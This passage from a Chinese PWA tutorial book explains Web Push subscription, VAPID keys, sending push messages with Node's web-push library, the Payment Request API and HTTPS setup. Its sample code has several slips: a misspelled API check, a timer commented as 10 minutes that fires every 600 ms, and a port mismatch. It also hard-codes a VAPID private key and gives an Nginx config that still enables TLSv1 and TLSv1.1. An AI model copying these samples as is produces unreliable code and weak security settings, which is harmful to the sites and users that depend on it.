协议草案，展示网络推送实现的整个基本流程。Web Push 协议是发送推送消息到浏览器的协议标准。它描述了如何创建推送消息，加密推送消息并将其发送到推送消息传递平台的结构和流程。 +-------+ +--------------+ +-------------+ | UA | | Push Service | | Application | +-------+ +--------------+ | Server | | | +-------------+ | Subscribe | | |--------------------->| | | Monitor | | || | | | | | Distribute Push Resource | |-------------------------------------------->| | | | : : : | | Push Message | | Push Message | 从图中可以看出，网络推送的建立涉及到三端的相互配合，分别是： UA（User Agent），即浏览器； Push Service，即推送服务器，用于管理推送订阅、消息推送等功能的第三方服务器。该服务器是浏览器决定的； Application Server，即网站应用的后端服务。 网络推送的过程中，浏览器和后端服务并不是直接接触的，需要通过浏览器指定的第三方推送服务器进行消息中转。 从具体的推送步骤上进行划分，又可以分成订阅（Subscribe）与推送（Push Message）两个部分。 其中订阅部分包含以下步骤： Subscribe，浏览器需要向推送服务器发起推送订阅的请求； Monitor，订阅成功之后，浏览器与推送服务器之间会进行通信，同时推送服务器会生成并维护相关订阅信息，在后续的消息推送流程将基于该订阅信息与浏览器保持通信； Distribute Push Resource，浏览器将推送服务器返回的订阅信息发送给网站后端服务进行保存，服务端将基于该订阅信息向推送服务器发起消息推送。 而推送部分主要分为两步： 后端服务通过 Web Push 向推送服务器发送消息通知，发送时会将前面提到的订阅信息带上，以告知推送服务器这条消息推送的目的地； 推送服务器接收到消息之后，再根据订阅信息将消息推送给对应的浏览器。 至此就完成了整个推送流程。 接下来，我们将对推送流程的具体步骤进行介绍。 订阅推送 在我们可以发送推送消息之前，必须先订阅推送服务。Push API 提供 PushManager 接口请求和推送通知，在第四章 Service Worker 的学习中我们知道，当 Service Worker 注册成功时，会返回一个 ServiceWorkerRegistration 的实例对象 registration，其中 PushManager 的实例 pushManager 就挂到了 registration 对象下面，因此我们可以通过调用 registration.pushManager.subscribe() 进行订阅。 由于存在兼容性问题，因此在调用之前需要判断 PushManager 是否存在： if (window.PushMananger !== null) { // 发起推送订阅 } 假设用户启用了通知，现在我们可以订阅推送服务： async function subscribe () { // 判断兼容性 if (window.PushManager == null && navigator.serviceWorker == null) { return } // 注册 service-worker.js 获取 ServiceWorkerRegistration 对象 let registration = await navigator.serviceWorker.register('/service-worker', {scope: '/'}) // 发起推送订阅 let pushSubscription = await registration.pushManager.subscribe({ userVisibleOnly：true, applicationServerKey: base64ToUint8Array('BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0') }) // 将 pushSubscription 发送给应用后端服务器 await distributePushResource(pushSubscription) } 在上面的实例中，subscribe 方法接受 userVisibleOnly 参数，如果该参数为 true 但没有调用 Notification API 时，浏览器会弹出默认的提示框提示有应用程序在后台运行，确保每个消息都有匹配的通知。对于部分浏览器而言（如 Chrome for Android），该属性必须设置为 true，不然会报错。 订阅成功后，推送服务器返回订阅信息 pushSubscription 对象， pushSubscription 的结构如下： {\\\"endpoint\\\":\\\"https://fcm.googleapis.com/fcm/send/dpH5lCsTSSM:APA91bHqjZxM0VImWWqDRN7U0a3AycjUf4O-byuxb_wJsKRaKvV_iKw56s16ekq6FUqoCF7k2nICUpd8fHPxVTgqLunFeVeB9lLCQZyohyAztTH8ZQL9WCxKpA6dvTG_TUIhQUFq_n\\\", \\\"keys\\\": { \\\"p256dh\\\":\\\"BLQELIDm-6b9Bl07YrEuXJ4BL_YBVQ0dvt9NQGGJxIQidJWHPNa9YrouvcQ9d7_MqzvGS9Alz60SZNCG3qfpk=\\\", \\\"auth\\\":\\\"4vQK-SvRAN5eo-8ASlrwA==\\\" } } pushSubscription 包含公钥和 endpointURL，应用服务器推送时可以使用公钥对消息加密，endpointURL 是由推送服务器生成包含唯一标识符的 URL，推送服务器通过它判断将消息发送到哪个客户端。 可分别通过 pushSubscription.getKey('p256dh') 和 pushSubscription.getKey('auth') 来获取密钥和校验码信息。由于通过 getKey() 方法获取到的密钥信息类型为 ArrayBuffer，因此还需要通过转码将其转成 base64 字符串以便于传输。转换函数如下所示： function uint8ArrayToBase64 (arr) { return btoa(String.fromCharCode.apply(null, new Uint8Array(arr))) } 这样，我们只需要将 pushSubscription 的 endpoint、p256dh、auth 进行包装并发送 POST 请求传给应用服务器，应用服务器只需要将这个 pushSubscription 接收到并保存起来即可。比如在这里使用 Fetch API 来演示数据传输： function distributePushResource (pushSubscription) { return fetch('/path/to/subscribe', { method: 'post', body: JSON.stringify({ endpoint: pushSubscription.endpoint, keys: { p256dh: uint8ArrayToBase64(pushSubscription.getKey('p256dh')), auth: uint8ArrayToBase64(pushSubscription.getKey('auth')) } }) }) } 以上就是推送订阅的说明。订阅好推送之后，下面就能够接收推送信息了。 使用 VAPID 读者可能已经注意到，在上文订阅推送 subscribe 方法中，还传入了一个 applicationServerKey 参数给推送服务，这个参数的作用是什么呢？ Web Push 协议出于用户隐私考虑，在应用和推送服务器之间没有进行强身份验证，这为用户应用和推送服务都带来了一定的风险。解决方案是对 Web Push 使用自主应用服务器标识（VAPID）协议，VAPID 规范允许应用服务器向推送服务器标识身份，推送服务器知道哪个应用服务器订阅了用户，并确保它也是向用户推送信息的服务器。使用 VAPID 服务过程很简单，通过几个步骤可以理解 VAPID 如何实现安全性。 应用服务器创建一对公钥/私钥，并将公钥提供给 Web App 客户端 当用户尝试订阅推送服务时，将公钥添加到 subscribe() 订阅方法中，公钥将被发送到推送服务保存。 应用服务器想要推送消息时，发送包含公钥和已经签名的 JSON Web 令牌到推送服务提供的 API，推送服务验证通过后，将信息推送至 Web App 客户端。 为了避免处理过多加密细节，在这里我们只需简单了解 VAPID 规范即可，因为目前已经有很多库来帮助开发者生成公钥，从而大大减少开发工作量。假设开发者使用 Node.js 作为服务端语言，那么可以通过安装 web-push 来协助生成公钥。 首先通过 npm install 安装 web-push： npm install web-push -g 然后就可以通过命令行生成公钥和私钥了： web-push generate-vapid-keys 得到的结果如下所示： ======================================= Public Key: BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0 Private Key: wNY2Jw8Zcw2wjfsiVzIxQB6K-ZoOkn-MS7fXxoo8w0Y ======================================= 正如在订阅推送中提到的，subscribe 方法通过 applicationServerKey 传入所需要的公钥。一般来说得到的公钥一般都是 base64 编码后的字符串，需要将其转换成 Uint8Array 格式才能作为 subscribe 的参数传入。下面给出一个 base64 转 Uint8Array 的函数实现： function base64ToUint8Array (base64String) { let padding = '='.repeat((4 - base64String.length % 4) % 4) let base64 = (base64String + padding) .replace(/\\\\-/g, '+') .replace(/_/g, '/') let rawData = atob(base64) let outputArray = new Uint8Array(rawData.length) for (let i = 0; i 在下文中我们也会继续了解，在消息推送服务端如何使用 VAPID 协议。 消息推送 接下来介绍如何使用 Web Push 协议向浏览器发送推送消息，消息推送需要依赖浏览器接收推送消息和后端服务推送消息两个部分。 浏览器接收推送消息 首先我们来研究浏览器如何接收推送消息。在完成推送订阅之后，浏览器与推送服务器建立了通信，此时浏览器可以通过监听 push 事件来接收推送服务发送的消息。 push 事件只会在 Service Worker 作用域下触发，因此只需要在 Service Worker 作用域下注册监听该事件即可： self.addEventListener('push', function (e) { if (e.data) { // 显示推送消息 console.log(e.data.text()) } }) 消息通过事件回调下面的 data 属性获取。data 提供了以下方法来实现不同类型的消息进行解析： arrayBuffer()：将消息解析成 ArrayBuffer 对象； blob()：将消息解析成 Blob 对象； json()：将消息解析成 JSON 对象； text()：将消息解析成字符串； 需要注意的是，当推送服务器推送的消息没有任何数据时，data 属性可能为空，因此需要做好代码容错。 后端服务推送消息 当浏览器做好推送通知的接收工作之后，接下来需要实现后端服务推送消息。正如前面所提到的那样，第三方推送服务是由浏览器决定的，因此可能存在不同的浏览器对应不一样的第三方推送服务，而不同的第三方推送服务所要求的后端配置也是不一样的，因此在开发的时候，需要针对不同浏览器的不同推送服务，开发不同的后端推送服务，当然也可以选择一些现成的跨平台推送方案，如 OneSignal，这些跨平台推送方案已经集成好了多种浏览器的推送服务，使得开发者不再需要去关心不同浏览器的推送服务适配问题。 在这里我们演示一段基于 Chrome 浏览器的后端推送服务代码。Chrome 浏览器所对应的推送服务器为 Firebase 云服务（FCM），假设应用服务后端使用 Node.js，那么我们可以使用 web-push 库来实现后端向推送服务器发送消息的方法： const webpush = require('web-push') const vapidKeys = { publicKey: 'BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0', privateKey: 'wNY2Jw8Zcw2wjfsiVzIxQB6K-ZoOkn-MS7fXxoo8w0Y' } webpush.setVapidDetails( 'mailto:your-email@provider.com', vapidKeys.publicKey, vapidKeys.privateKey ) webpush.setGCMAPIKey('') module.exports = function pushMessage (pushSubscription, message) { return webpush.sendNotification(pushSubscription, message) } 其中 vapidKeys 就是生成的公钥和私钥，它们也可以通过 webpush.generateVAPIDKeys() 在程序运行时调用该函数生成。但需要注意的是，公钥和私钥只需要生成一次，后续直接使用生成好的值即可。生成的公钥和私钥需要传入 webpush.setVapidDetails() 函数中对 web-push 进行配置。 接着是 webpush.setGCMAPIKey()，这个函数需要传入 Firebase 云服务（FCM）申请到的 GCMAPIKey。 配置好之后，就可以使用 webpush.sendNotification() 方法推送消息了。该方法第一个参数需要传入 pushSubscription，也就是推送订阅的最后一步中，浏览器向后端服务发送的 pushSubscription 对象。 后端服务在存储 pushSubscription 的时候，需要做好用户信息与 pushSubscription 的映射关系，这样，后续想要给哪个用户推送消息，只需要获取对应的 pushSubscription 即可。 sendNotification() 方法传入的第二个参数就是想要推送给用户的信息，它可以是字符串、或者 node Buffer。比如我们可以通过 JSON.stringify(obj) 的方式来向浏览器推送一个对象信息： webpush.sendNotification(pushSubscription, JSON.stringify({ msg: 'Hello World', url: 'https://www.baidu.com' })) 那么在浏览器就可以通过如下方式接收信息： self.addEventListener('push', e => { let payload = e.data.json() console.log(payload.msg) console.log(payload.url) }) 这样，就实现了应用后端向浏览器推送消息的流程。 取消订阅 当网站在完成推送订阅之后，Web Push API 也提供了相应的方法来取消订阅。前面提到推送订阅成功之后 PushManager.subscribe() 方法返回的 pushSubscription 对象上有一个 unsubscribe() 就是用来取消订阅的： pushSubscription.unsubscribe().then(function () { console.log('取消订阅成功！') }) 在取消订阅之前，我们可以通过 PushManager.getSubscription() 方法来判断用户是否已经订阅，如果用户已经订阅过，那么该函数会返回 pushSubscription 对象，这样接下来再调用 unsubscribe() 方法最终取消订阅。完整的代码如下所示： registration.pushManager.getSubscription().then(function (pushSubscription) { if (!pushSubscription) { // 用户尚未订阅 return } // 取消订阅 return pushSubscription.unsubscribe() }) .then(function () { console.log('取消订阅！') }) 结合 Notification 实现离线通知推送 有了 Push API，结合前面学习到的 Notification API 和 clients，我们就能够做到完整的离线通知推送了。接下来我们通过一个例子，来实现在离线情况下接收推送通知，点击通知后自动打开网页的这么一个功能。 在命令行中运行如下命令，下载示例代码到本地。 # 从 GitHub 下载代码到本地 pwa-book-demo 目录 $ git clone https://github.com/lavas-project/pwa-book-demo.git # 进入到 chapter06/web-push 目录 $ cd chapter06/web-push # 安装 npm 依赖 $ npm install 首先我们通过执行 web-push generate-vapid-keys命令生成 VAPIDKeys，在 server/config.js 文件中配置 VAPIDKeys 公钥和私钥，以及配置 Firebase 云服务（FCM）生成的 GCMAPIkey。 module.exports = { VAPIDKeys: { publicKey: '', privateKey: '' }, GCMAPIkey: 'FCM Public Key' } 接下来我们需要准备主线程 JS 文件，用来完成注册 Service Worker、申请桌面通知权限、订阅推送等等工作，可查看示例中 public/script.js 文件。 // entry.js const VAPIDPublicKey = '' // 注册 service worker 并缓存 registration let registration function registerServiceWorker () { if (!navigator.serviceWorker) { return Promise.reject('系统不支持 service worker') } return navigator.serviceWorker.register('/service-worker.js').then(function (reg) { registration = reg }) } // 申请桌面通知权限 function requestNotificationPermission () { // 系统不支持桌面通知 if (!window.Notification) { return Promise.reject('系统不支持桌面通知') } return Notification.requestPermission() .then(function (permission) { if (permission === 'granted') { return Promise.resolve() } return Promise.reject('用户已禁止桌面通知权限') }) } // 订阅推送并将订阅结果发送给后端 function subscribeAndDistribute (registration) { if (!window.PushManager) { return Promise.reject('系统不支持消息推送') } // 检查是否已经订阅过 return registration.pushManager.getSubscription().then(function (subscription) { // 如果已经订阅过，就不重新订阅了 if (subscription) { return } // 如果尚未订阅则发起推送订阅 let publicKey = 'BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0' return registration.pushManager.subscribe({ userVisibleOnly: true, applicationServerKey: base64ToUint8Array(publicKey) }) // 订阅推送成功之后，将订阅信息传给后端服务器 .then(function (subscription) { distributePushResource(subscription) }) }) } function distributePushResource (subscription) { // 假设后端接收并存储订阅对象的接口为 '/api/push/subscribe' return fetch('/api/push/subscribe', { method: 'post', body: JSON.stringify({ endpoint: subscription.endpoint, keys: { p256dh: uint8ArrayToBase64(subscription.getKey('p256dh')), auth: uint8ArrayToBase64(subscription.getKey('auth')) } }) }) } // 注册 service worker registerServiceWorker() // 申请桌面通知权限 .then(function () { requestNotificationPermission() }) // 订阅推送 .then(function () { subscribeAndDistribute(registration) }) .catch(function (err) { console.log(err) }) 在 public/sw.js 文件中，做好推送事件和通知点击事件的监听： // 监听 push 事件 self.addEventListener('push', function (e) { if (!e.data) { return } // 解析获取推送消息 let payload = e.data.json() // 根据推送消息生成桌面通知并展现出来 let promise = self.registration.showNotification(payload.title, { body: payload.body, icon: payload.icon, data: { url: payload.url } }) e.waitUntil(promise) }) // 监听通知点击事件 self.addEventListener('notificationclick', function (e) { // 关闭窗口 e.notification.close() // 打开网页 e.waitUntil(clients.openWindow(e.data.url)) }) 然后我们准备一个简单的 public/index.html 文件作为前端入口： Web Push API 你好，很高兴认识你 > 接下来准备服务端代码 server/index.js，服务端代码主要做两件事情： 提供接口存储 pushScription 对象； 跑定时任务，每隔一小时就向所有订阅过的浏览器推送消息； // server.js const webpush = require('web-push') const express = require('express') const path = require('path') // 配置 web push webpush.setVapidDetails( 'mailto:your-email@provider.com', 'BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0', 'wNY2Jw8Zcw2wjfsiVzIxQB6K-ZoOkn-MS7fXxoo8w0Y' ) webpush.setGCMAPIKey('') // 存储 pushSubscription 对象 let pushSubscriptionSet = new Set() // 定时任务，每隔 10 分钟向推送服务器发送消息 setInterval(function () { if (pushSubscriptionSet.size > 0) { pushSubscriptionSet.forEach(function (pushSubscription) { webpush.sendNotification(pushSubscription, JSON.stringify({ title: '你好', body: '我叫李雷，很高兴认识你', icon: 'https://path/to/icon', url: 'http://localhost' })) }) } }, 10 * 60) const app = new express() // 服务端提供接口接收并存储 pushSubscription app.post('/api/push/subscribe', function (req, res) { if (req.body) { try { pushSubscriptionSet.add(req.body) res.sendStatus(200) } catch (e) { res.sendStatus(403) } } else { res.sendStatus(403) } }) // 静态资源 app.get('/', function (req, res) { res.sendFile(path.resolve(__dirname, 'index.html')) }) app.get('/entry.js', function (req, res) { res.sendFile(path.resolve(__dirname, 'entry.js')) }) app.get('/service-worker.js', function (req, res) { res.sendFile(path.resolve(__dirname, 'service-worker.js')) }) // 启动服务器 app.listen(80, function () { console.log('服务端启动了') }) 准备好上述文件之后，配置完成后通过以下命令启动示例，在看到命令行中输出 Server start on: http://127.0.0.1:8088，意味着已经成功启动。 # 安装成功后启动 chapter06/web-push 示例 $ npm run server 这时打开浏览器，访问 http://127.0.0.1:8088 便开始注册 Service Worker、获取桌面通知权限、订阅推送；之后关闭网页，每间隔 10 分钟，后端服务都会向推送服务器发送消息，同时推送服务器将再将消息推送至浏览器，浏览器接收到消息之后将弹出桌面通知，显示文案 “我叫李雷，很高兴认识你” ；接着点击通知之后，将自动打开浏览器同时打开 http://127.0.0.1:8088。 这样，整个过程就实现了离线桌面通知的展示以及引导用户打开页面回到站点的流程。上述例子只是一个粗糙的功能演示，开发者可以顺着思路与具体的项目需求去活学活用这个强大的功能。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter06/5-payment-request-api.html\":{\"url\":\"chapter06/5-payment-request-api.html\",\"title\":\"6.5 Payment Request API\",\"keywords\":\"\",\"body\":\"Payment Request API 对于用户留存来说，浏览器的支付功能就是培养用户习惯的利器，一旦用户习惯了在 Web 站点中可以直接使用支付 API 进行购物等消费活动，那么 Web 站点的用户留存率自然就提高了。 虽然目前各大现代浏览器对 Payment Request API 的支持度都还不是很完美，但是这也不妨碍我们去对它进行初步的尝试。本节将从以下几个方面对 Payment Request API 进行介绍： Payment Request API 解决的问题 Payment Request API 的简单使用 Payment Request API 安全性分析 Payment Request API 的未来展望 Payment Request API 解决的问题 顾名思义，很容易发现 Payment Request API 解决的问题就是支付的问题，而且是利用浏览器来解决这个问题。不同于手机 Native App 的支付，普通 PC 端和手机端的浏览器都能使用 Payment Request API 进行支付，这也是一大亮点。 那支付问题是什么呢？ 简单举个例子，现代社会很多人都会有网上购物的需求。如果我想在淘宝买东西，而且还是第一次，那么很有可能我就会去找个电脑，用浏览器打开淘宝，注册个账号然后开始逛淘宝。最后下单的时候，需要输入收货地址等一系列信息，然后提交。 然而问题远远没有结束，订单提交后支付问题接踵而至。由于是第一次逛淘宝，所以支付宝也没有，又得注册个账号，绑定银行卡信息，然后授权进行支付。这下可算买到东西了，但是逛京东的时候这些问题又来了，而且京东的界面和淘宝的界面还不一样，流程也不一样，用户体验也就因此不同，产生的实际收益也因此有所差异。如果是一些网站的支付体验特别差，那么可能直接造成用户的流失，这样就非常得不偿失了。另外，各个网站不同的支付 API 对于开发人员也是一种煎熬。 所以 Payment Request API 就是为了解决上述问题而被提出的。 简单来说，Payment Request API 就是以一套原生的支付界面代替了原来各个商家自己设计的界面，所以整个流程变得高度统一。填一次收货地址信息和银行卡信息就能在所有的网站中使用，这就是 Payment Request API 最大的魅力。 总的来说，Payment Request API 是新的浏览器标准，旨在取代各种商家的结账流程，提供统一的风格和体验。因此它具有如下几个特点： 使浏览器充当用户和商家的中介 使支付流程统一风格，形成标准 适合任何拥有浏览器的电子设备 可以对接各种不同的支付方式 Payment Request API 的简单使用 在使用 Payment Request API 之前，我们先来了解一下 Payment Request API 的整体使用流程。 商家为用户购买的商品创建 PaymentRequest ，其中包含金额、币种和支付方式等信息 浏览器确定兼容性后，展示支付界面 用户选择支付方式后确认执行或者取消交易 浏览器反馈用户支付的结果 创建 PaymentRequest Payment Request API 有一定的兼容性问题，所以下面的示例代码都是在支持 Payment Request API 的情况下运行的，如果使用者在生产环境下使用，请务必解决兼容性问题。 let request = new PaymentRequest( methodData, // 需要的支付方式 details, // 账单信息 options // 其他消息 ); 上述代码中，methodData 变量是一个数组，数组内的每一项都是一个字典，其中包含支持的支付方式和相应的各种信息。details 变量是交易的详细信息，包含的基本元素有id，displayItems，total，分别代表订单号、购买物品列表和总额。当然，details 还可以有一些其他信息，如快递信息等。options 变量也是一个字典，用来设置哪些信息需要用户填写。下面代码示例中的 options 就表明了用户需要输入姓名、手机号和送货信息。 function createPaymentRequest () { let methodData = [{ supportedMethods: 'basic-card', data: { supportedNetworks: ['visa', 'mastercard'], supportedTypes: ['debit', 'credit'], } }] let details = { id: 'order-2049', displayItems:[{ label: 'Mechanical Keyboard', amount: { currency: 'RMB', value: '999.00' } }], total: { label: 'total', amount: { currency: 'RMB', value: '999.00' } } } let options = { requestPayerEmail: false, requestPayerName: true, requestPayerPhone: true, requestShipping: true, } return new PaymentRequest(methodData, details, options) } 展示支付界面 function show () { let request = createPaymentRequest() request.show().then(function (paymentResponse) { handle(paymentResponse) }).catch(function (e) { console.log(e) }) } 展示支付界面是比较简单的，只要调用 PaymentRequest 的 show 方法即可。另外还有个 abort 方法，这是用来主动取消 PaymentRequest ，其目标使用场景可以是秒杀活动或商品售罄的情况。另外还有很多其他方法，这里不再赘述。 用户确认支付 在展示支付界面之后，一般是用户填写付款账号信息。如果不是第一次填写，还可以直接自动填充之前填好的信息。简单示例界面如下： 这个步骤就是 Payment Request API 提供的风格统一的支付界面。在这个步骤之后就是用户确认付款，一旦点击付款按钮，这操作就不可逆了。之后就是等待浏览器与运营商之间的交互，根据交互结果如何，我们分别给出应答界面。 浏览器反馈用户支付的结果 在 Payment Request API 中，浏览器作为中介，只是收集用户填写的信息，然后按照商家的要求发送到指定的服务器，等待他们的处理，处理完了之后，页面就会显示正确的信息。 这些过程简单来说就是上述示例代码中 handle 函数的作用。简单写个示例，如下： function handle (paymentResponse) { let data = { method: paymentResponse.methodName, details: paymentResponse.details } let init = { method: 'POST', body: JSON.stringify(data), credentials: 'include', headers: { 'content-type': 'application/json' } } return fetch('/payment', init) .then(function (res) { if (res.status === 200) { return res.json() } else { throw new Error('payment error') } }).then(function (res) { paymentResponse.complete('success') }, function (error) { paymentResponse.complete('fail') }) } Payment Request API 安全性分析 对于支付相关的问题，我相信很多人都会在意安全性如何。如果支付安全不能得到保障，那么提出这一系列的 API 就没有任何实际意义。 不过由于 Payment Request API 的规范还没有完全确定，所以目前考虑到的安全问题可能也不是十分全面，但也值得一提。 上文提到的 show 方法将会严格定义为在用户交互的情况下，才会被触发，这很好地防止了用户在未察觉的情况下被第三方调起支付界面。另外 Payment Request API 只会允许在安全的环境下运行，比如 HTTPS，因为一些敏感信息一旦是明文传输，那后果将不堪设想。针对跨域的支付请求，相关规范在提出的过程中被讨论了好多次。特别是 iframe 标签经常被商家用来和第三方支付机构通信，所以目前的标准准备在 iframe 标签上增加一个字段 allowpaymentrequest 来支持跨域的支付请求。 还有个人信息的保护在 Payment Request API 的规范中也被提及，像银行卡信息，快递信息等不会在用户没有感知的情况被分享出去。 当然也有一些安全相关的问题一直在被讨论着，比如 iframe 标签上的 sandbox 属性和 allowpaymentrequest 属性同时出场该如何表现的问题，在前不久才有明显的结论。Payment Request 的 GitHub 一直都有不错的活跃度，我们相信很多问题在不远的未来都能被很好的解决。 Payment Request API 的未来展望 根据 caniuse 的反馈，目前现代浏览器中还没有一个完全支持 Payment Request API，但是部分支持的范围已经达到了 74.74% ，国内的部分支持率也达到了 50.5% (截止到 2018-11-9 的数据)。由此可见，Payment Request API 正在稳步地发展中。不过在我运行上述示例代码的时候，需要事先开启 web-payments 功能，我的谷歌浏览器版本是 70，现代大多数浏览器都默认此功能是关闭的。 虽说 Payment Request API 支持的支付方式是挺多的，但是大多数第三方支付是银行，其他的一些第三方支付方式也需要自己跟进。支付宝就积极拥抱变化，Alipay Payment Method 在很早的时候就提出来了。 总的来说，Payment Request API 还是在慢慢地发展中，正如 PWA 的蓬勃发展，Payment Request API 也有一个美好的未来。 参考资料： CR-payment-request-20180830 Web Payments Overview from google Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter07.html\":{\"url\":\"chapter07.html\",\"title\":\"第7章 安全\",\"keywords\":\"\",\"body\":\"安全 上一章，我们介绍了 PWA 中与用户留存相关的内容。在构建 PWA 应用时，如何保证用户的信息安全，也是一个十分重要的话题。Web 应用程序的使用范围非常广泛，其安全问题也日益突显，代码中的细小漏洞随时可能被攻击者利用，导致用户的隐私信息泄露、财产损失。本章节将从以下几个角度入手，帮助您构建更加安全的 PWA 应用。 使用 HTTPS 保护站点安全 同源策略 CSP(内容安全策略) 典型的安全漏洞 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter07/1-https.html\":{\"url\":\"chapter07/1-https.html\",\"title\":\"7.1 使用 HTTPS 保护站点安全\",\"keywords\":\"\",\"body\":\"使用 HTTPS 保护站点安全 构建 PWA 应用时，HTTPS 是必不可少的条件之一。使用 HTTP 协议的应用存在着一定的安全隐患，这是因为 HTTP 本身不具备加密的功能，通信中使用明文传输请求和响应的内容，内容可能会被窃听，而且 HTTP 缺少对通信双方身份进行校验的环节，也无法证明报文内容的完整性，存在身份伪装和信息被篡改的风险。所以，我们应该严格地使用 HTTPS 协议来保护 PWA 的安全。 HTTPS 的概念 HTTPS 即 HTTP over SSL/TLS（Secure Socket Layer/Transport Layer Security），是 HTTP 的安全版本。SSL/TLS 是介于 TCP 和 HTTP 之间的一层安全协议，是一种使用比较广泛的安全技术，简单的说，是在 HTTP 上加了一层处理加密信息的模块，所以使用 HTTPS 基本上不需要对 HTTP 页面进行太多的改造。有些浏览器访问 HTTPS 的站点时，在地址栏的前面会有一把绿色的锁一样的标识，表明 HTTPS 生效了。 HTTPS 的主要作用是： 对数据进行加密，并建立一个信息安全通道，来保证传输过程中的数据安全; 对网站服务器进行真实身份认证。 它的核心 SSL/TLS 协议采用非对称加密方式。HTTPS 服务器拥有一张数字证书，该证书由客户端、服务端都信赖的第三方机构颁发，它包含了经过认证的网站公钥和一些元数据。公钥用来加密信息，可以提供给所有需要进行通信的客户端，私钥保存在本地，不能泄露。客户端使用这份公钥对信息进行加密，将请求发送给服务器，服务器用私钥解密。反之，服务器对客户端的返回，则使用客户端提供的公钥进行加密，客户端使用本地对应的私钥来解密，保证通信安全。 基于 SSL/TLS 进行一次的 HTTPS 会话的过程，简单地说可以分成几步： 客户端向服务器端索要并验证证书公钥，决定是否继续通信。 客户端生成 \\\"对话密钥\\\"，并用公钥加密返回给服务器。 服务器用私钥解密，获取密钥，使用密钥加密返回内容，返回给客户端。 客户端使用 \\\"对话密钥\\\" 解密内容，拿到结果。 如上流程，经过了身份认证、信息加密等步骤，网络通信安全就得到了保障。在这里涉及到一些重要的安全术语，如公钥/私钥、证书办法机构，我们需要了解一下。 公钥和私钥对 公钥/私钥对是一对很长的数字，可用作加密密钥和解密密钥，它们共用一种特别的数学关系。最常见的密钥对系统之一就是 RSA 加密系统。公钥用于加密消息，并且消息只能使用对应的私钥来解密。服务器会将其公钥公布出来，客户端（如浏览器）将使用此密钥来建立一个与服务器安全通信的通道。 证书颁发机构 证书颁发机构 (Certificate Authority) 是一个受信任的第三方组织，它为每个使用公开密钥的站点客户发放一个数字证书，数字证书的作用是证明该站点合法地拥有证书中列出的公开密钥，CA 机构的数字签名使得该证书不能被伪造和篡改。包含有 CA 本身公钥的信任锚存储库维护在客户端（如浏览器）上，这些公钥被用来验证站点证书的真伪。CA 是数据安全和 HTTPS 通信的重要组成部分和核心环节。 使用 HTTPS 的理由 了解了 HTTPS 的基本原理后，不难看出，HTTP 协议采用明文传输信息，存在信息窃听、信息篡改和信息劫持的风险，使用 HTTPS 对我们构建安全可靠的 PWA 站点有着多方面的收益。 确保站点安全。HTTPS 的通信信息都是加密传播，第三方无法窃听，且具有校验机制，一旦信息被篡改，通信双方就能立刻发现，这样就能够有效防止入侵者篡改网络通信内容。这些入侵者包括但不局限于恶意攻击者，合法但极具威胁的竞争对手，通信运营商等等。特别是在国内，运营商劫持插入广告信息的现象早已屡见不鲜，这些都能通过升级 HTTPS 来规避。 保护用户隐私。并不只是涉及到敏感数据的网站才需要升级 HTTPS，事实上每一个不受保护的 HTTP 请求都有暴露用户行为、用户身份的风险。虽然这些单个请求看起来没有什么敏感信息，但攻击者可以长期监视用户的浏览活动，通过收集大量数据推断用户的行为、地理位置、生活习惯等，从而造成用户的隐私信息泄露。 未来的趋势所在。将 Web 应用升级成为 HTTPS 是大势所趋，HTTPS 可以保障站点的安全、保护用户的隐私。随着 Web 应用平台的多元化发展，拍照、视频等功能都需要较高的用户权限许可，而使用 Service Worker 启用离线应用功能、构建 PWA 站点等已经将 HTTPS 视为必要条件。Google 早就倡议所有的 Web 站点都应该使用 HTTPS， 而且将 HTTPS 站点的搜索结果排名权重进行提升，想必在未来，这也是促进站长将站点进行 HTTPS 化的一个重要理由。 升级 HTTPS 通过上面的内容，对于 HTTPS 的概念和作用我们已经足够清楚了，接下来，我们介绍下将站点升级成 HTTPS 的一般步骤。 1.获取证书 前面提到过，HTTPS 是由证书认证机构 CA 颁发的、并包含公开密钥拥有者信息、公开密钥、签发者信息、有效期以及一些扩展信息、能提供在互联网上进行身份验证的一种权威性数字文件。要保证数字证书的真实性，必须确保该数字证书是由具有权威性的国际 CA 中心签发的，如 Symantec 就是这样一家通过 Web Trust 认证的国际 CA。购买 CA 颁发的证书有很多类型，分为域名认证、公司认证、扩展认证三个级别，还分成单域名、通配符、多域名三种覆盖范围。认证级别越高、覆盖范围越广的证书，价格越贵。如今，国内一些云服务供应商也提供了配套的免费或收费证书服务，可以选择的类型很多。 2.在服务器安装证书 根据 Web 服务器的类型不同，证书分为多种，我们只需要下载对应的证书文件，然后选择对应的服务器进行配置即可，Mozilla 便捷的配置生成器，列举了常见服务器的配置方式，对我们配置证书很有帮助。 我们以 Nginx 服务器的配置示例如下： server { listen 443 ssl http2; listen [::]:443 ssl http2; # certs sent to the client in SERVER HELLO are concatenated in ssl_certificate ssl_certificate /path/to/signed_cert_plus_intermediates; ssl_certificate_key /path/to/private_key; ssl_session_timeout 1d; ssl_session_cache shared:SSL:50m; ssl_session_tickets off; # Diffie-Hellman parameter for DHE ciphersuites, recommended 2048 bits ssl_dhparam /path/to/dhparam.pem; # intermediate configuration. tweak to your needs. ssl_protocols TLSv1 TLSv1.1 TLSv1.2; 